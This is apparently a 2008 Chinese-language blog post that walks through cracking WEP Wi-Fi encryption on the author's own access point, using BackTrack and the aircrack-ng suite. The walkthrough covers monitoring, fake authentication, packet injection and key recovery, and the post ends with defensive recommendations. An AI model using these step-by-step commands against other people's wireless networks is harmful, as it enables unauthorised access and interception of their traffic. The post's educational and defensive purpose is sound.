搜尋此網誌

2008年11月25日 星期二

WEP Cracking

無線網路(WiFi)的方便性與其帶來的安全危害,一直是一個兩難的問題,尤其對於企業更是如此。其中一個問題,就是WiFi使用的傳輸方式(無線電)不像傳統有線網路那般"不容易"被攔截。任何人只要有一個無線網路的介面(這個已經是筆記性電腦的標準備配),在適當的範圍內,就可以分享你的網路與其上的資訊。而透過一些特殊的工具,可以使用的距離甚至比你想像的還要遠很多。

針對資料容易被監測的問題,當然就是採用加密的方式加以解決。目 前一般有WEP、TKIP(WPA)與CCMP(WPA2)三種。其中WEP因為一些設計的問題,很容易被破解,而WPA於日前也被部分破解了。儘管如 此,有些無線網路仍舊使用WEP的方式,尤其是一些家庭用的無線網路更容易發生。

破解WEP的原理與工具其實已經存在很久了,有些(如 Airsnort)甚至只要一兩個步驟就可以加以破解。傳統上,破解有線網路的協定可以使用任何支援Ethernet的網路卡,但是對於破解WEP而言, 並不是所有的無線網卡都提供相同的能力。甚至同樣的無線網卡,在不同的組態下,可能都會有不同的效果。

以監測封包而言,傳統網卡使用的是 Promiscuous Mode,以便擷取所有流經線路上的封包。但是對於無線網卡而言,因為同一個地區可能有多個無線網路,所以採用不一樣的方式。無線網卡使用Monitor Mode,以便擷取所有的訊號。又WiFi有多個無線頻道可以使用,所以必須透過頻道輪流掃描的方式擷取封包,或是僅針對特定的頻道擷取封包。所以有可能還是會有漏網之魚(封包)。另外,如果要對無線網路"塞"假造的封包(這樣的動作稱之為Packet Injection),更是需要無線網卡本身有支援這樣的功能才行。所以,儘管相容性已經有大幅的改善,但是還是要有合適的無線網卡,才能夠有效的加以操作。Packet Injection為什麼這麼重要,看了後面的範例你就知道了。

我試過BackTrackWifislax兩 個Live CD,也使用過筆記型電腦與外接的USB無線網卡,各種組合都有其不同的步驟,有些組合甚至可能會有不同的結果。Wifislax預設是採用西班牙文的介面,所以使用上較為不方便,以下的範例我就使用BackTrack 3.0 + ASUS WL-167g + aircrack-ng,無線網路則是使用自己的無線基地台:
  1. 使用BackTrack Live CD開機
  2. 鍵入指令 iwconfig 查看是否有抓到無線網卡。我的無線網卡名稱是rausb0
  3. 鍵入指令 airodump-ng rausb0 查看所有可接受到的基地台訊號。我們的目標是第二個無線基地台,其使用WEP的加密方式。需要特別注意的是BSSID、CH、與ESSID這三個資訊,後面的指令會用到。
  4. 鍵入指令 airmon-ng stop rausb0 以便關閉無線網卡的Monitor模式。
  5. 鍵入指令 iwconfig rausb0 essid Sxxxxxxxxxx key 1234567890123,其中Sxxxxxxxxxx須使用步驟2所看到的ESSID。而1234567890123則隨便填,並非真正的加密金鑰。成功後再次鍵入指令 iwconfig 確認設定生效。
  6. 鍵入指令 ariodump-ng -c 11 -w wifi --bssid 00:XX:XX:XX:XX:3C rausb0 以便擷取封包並記錄到檔案(wifi),以利後續之分析動作。其中11為步驟2中所看到的CH、而00:XX:XX:XX:XX:3C則為步驟2中所看到的BSSID。執行後我們需要特別注意的是Data這個欄位,如果收集到足夠的量就可以了(我收集了200,000個左右)。對於使用中的網路,這個值可能不難達成,但是如果你需要加快收集的速度,或是沒有其他人在使用這個無線網路,你就需要額外多做後面兩個動作,也就是Packet Injection。
  7. 鍵入指令 aireplay-ng -1 0 -a 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B -e Sxxxxxxxxxx rausb0 ,對無線基地台做驗證的動作。其中00:XX:XX:XX:XX:3C與Sxxxxxxxxxx請參考步驟2所查到的資訊,而 00:0A:FD:3A:79:7B是為了改變封包所使用的MAC位址,所以亂填即可。
  8. 鍵入指令 aireplay-ng -3 -b 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B rausb0 ,對無線基地台進行大量Packet Injection的動作。成功後應該會看到步驟6畫面的Data數值加快成長。
  9. 收集足夠的資料後,停止airodump-ng與aireplay-ng的指令執行。
  10. 鍵入指令 aircrack-ng -n 128 -b 00:XX:XX:XX:XX:3C wifi-01.cap 執行破解WEP金鑰。只要有足夠的量,破解的時間很快(我使用的範例是0秒 )。

所以我們要如何增進無線網路的安全呢?下列簡單的建議事項提供參考(僅就避免無線網路被濫用或監看而言):
  1. 使用較安全的加密協定,如WPA2/CCMP。
  2. 使用MAC Address Filter,限制特定的網卡使用無線網路。不過因為MAC Address並沒有加密,所以有可能被監測到並被竊取。
  3. 將無線網路當作外部的網路,而不是內部網路的一份子。也就是必要時採用VPN的技術,讓無線網路的使用者擁有更高的安全性。
  4. 確認無線基地台的涵蓋範圍,必要時加以限制。
  5. 最重要的是,擁有一個明確的無線網路使用規範。
對於有關無線網路安全較完整的說明,可參考Cisco所發表的文章-Five Ways to Improve Your Wireless Security

沒有留言:

張貼留言

About